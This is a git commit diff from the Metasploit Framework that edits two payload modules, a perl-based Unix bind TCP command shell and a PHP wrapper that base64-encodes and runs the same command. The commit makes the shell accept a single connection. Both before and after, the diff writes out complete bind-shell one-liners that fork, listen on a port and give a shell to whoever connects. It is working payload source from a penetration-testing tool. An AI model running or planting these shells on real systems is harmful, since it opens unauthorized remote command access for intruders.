only accept one connection for bind_perl shells. fixes 669
git-svn-id: file:///home/svn/framework3/trunk@7790 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
c1c06d6ea1
commit
5ddfffc94f
|
@ -23,7 +23,7 @@ module Metasploit3
|
|||
super(merge_info(info,
|
||||
'Name' => 'Unix Command Shell, Bind TCP (via perl)',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Listen for a connection and spawn a command shell via perl (persistent)',
|
||||
'Description' => 'Listen for a connection and spawn a command shell via perl',
|
||||
'Author' => ['Samy <samy@samy.pl>', 'cazz'],
|
||||
'License' => BSD_LICENSE,
|
||||
'Platform' => 'unix',
|
||||
|
@ -52,7 +52,7 @@ module Metasploit3
|
|||
#
|
||||
def command_string
|
||||
|
||||
cmd = "perl -MIO -e '$p=fork();exit,if$p;while($c=new IO::Socket::INET(LocalPort,#{datastore['LPORT']},Reuse,1,Listen)->accept){$~->fdopen($c,w);STDIN->fdopen($c,r);system$_ while<>}'"
|
||||
cmd = "perl -MIO -e '$p=fork();exit,if$p;$c=new IO::Socket::INET(LocalPort,#{datastore['LPORT']},Reuse,1,Listen)->accept;$~->fdopen($c,w);STDIN->fdopen($c,r);system$_ while<>'"
|
||||
|
||||
return cmd
|
||||
end
|
||||
|
|
|
@ -43,7 +43,7 @@ module Metasploit3
|
|||
# Constructs the payload
|
||||
#
|
||||
def generate
|
||||
return super + "system(base64_decode('#{Rex::Text.encode_base64(command_string)}'))"
|
||||
return super + "system(base64_decode('#{Rex::Text.encode_base64(command_string)}'));"
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -51,7 +51,7 @@ module Metasploit3
|
|||
#
|
||||
def command_string
|
||||
|
||||
cmd = "perl -MIO -e '$p=fork();exit,if$p;while($c=new IO::Socket::INET(LocalPort,#{datastore['LPORT']},Reuse,1,Listen)->accept){$~->fdopen($c,w);STDIN->fdopen($c,r);system$_ while<>}'"
|
||||
cmd = "perl -MIO -e '$p=fork();exit,if$p;$c=new IO::Socket::INET(LocalPort,#{datastore['LPORT']},Reuse,1,Listen)->accept;$~->fdopen($c,w);STDIN->fdopen($c,r);system$_ while<>'"
|
||||
|
||||
return cmd
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue